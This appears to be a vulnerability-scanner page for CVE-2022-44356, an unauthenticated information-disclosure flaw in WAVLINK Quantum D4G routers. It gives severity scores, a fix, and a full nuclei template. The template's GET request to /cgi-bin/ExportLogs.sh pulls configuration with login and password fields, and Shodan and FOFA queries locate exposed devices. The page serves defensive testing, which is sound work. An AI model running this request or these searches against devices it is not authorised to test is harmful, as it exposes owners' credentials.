WAVLINK Quantum D4G (WL-WN531G3) - Information Disclosure

highseverity

7.5CVSS score

3.1%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

WAVLINK Quantum D4G (WL-WN531G3) running firmware versions M31G3.V5030.201204 and M31G3.V5030.200325 has an access control issue which allows unauthenticated attackers to download configuration data and log files.

Impact

Successful exploitation could lead to sensitive information disclosure.

Fix

Apply the latest firmware updates from Wavlink or implement network segmentation to restrict access to the device administration interface.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains(body, "WN531G3")
Send: GET {{BaseURL}}/cgi-bin/ExportLogs.sh
Positive when: contains_all(body, "Login=", "Password=", "WiFi_", "WAVLINK") and contains_all(header, "application/octet-stream", "filename=\"") and status_code == 200

Run it with nuclei: nuclei -id CVE-2022-44356 -u <target>

The full check

id: CVE-2022-44356

info:
  name: WAVLINK Quantum D4G (WL-WN531G3) - Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    WAVLINK Quantum D4G (WL-WN531G3) running firmware versions M31G3.V5030.201204 and M31G3.V5030.200325 has an access control issue which allows unauthenticated attackers to download configuration data and log files.
  remediation: |
    Apply the latest firmware updates from Wavlink or implement network segmentation to restrict access to the device administration interface.
  impact: |
    Successful exploitation could lead to sensitive information disclosure.
  reference:
    - https://github.com/strik3r0x1/Vulns/blob/main/Wavlink%20WL-WN531G3.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44356
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-44356
    epss-score: 0.03094
    epss-percentile: 0.87842
    cpe: cpe:2.3:o:wavlink:wl-wn531g3_firmware:m31g3.v5030.200325:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: wavlink
    product: wl-wn531g3_firmware
    shodan-query: html:"WN531G3"
    fofa-query: body="WN531G3"
  tags: cve,cve2022,wavlink,exposure,wn531g3,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "WN531G3")'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportLogs.sh"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Login=", "Password=", "WiFi_", "WAVLINK")'
          - 'contains_all(header, "application/octet-stream", "filename=\"")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from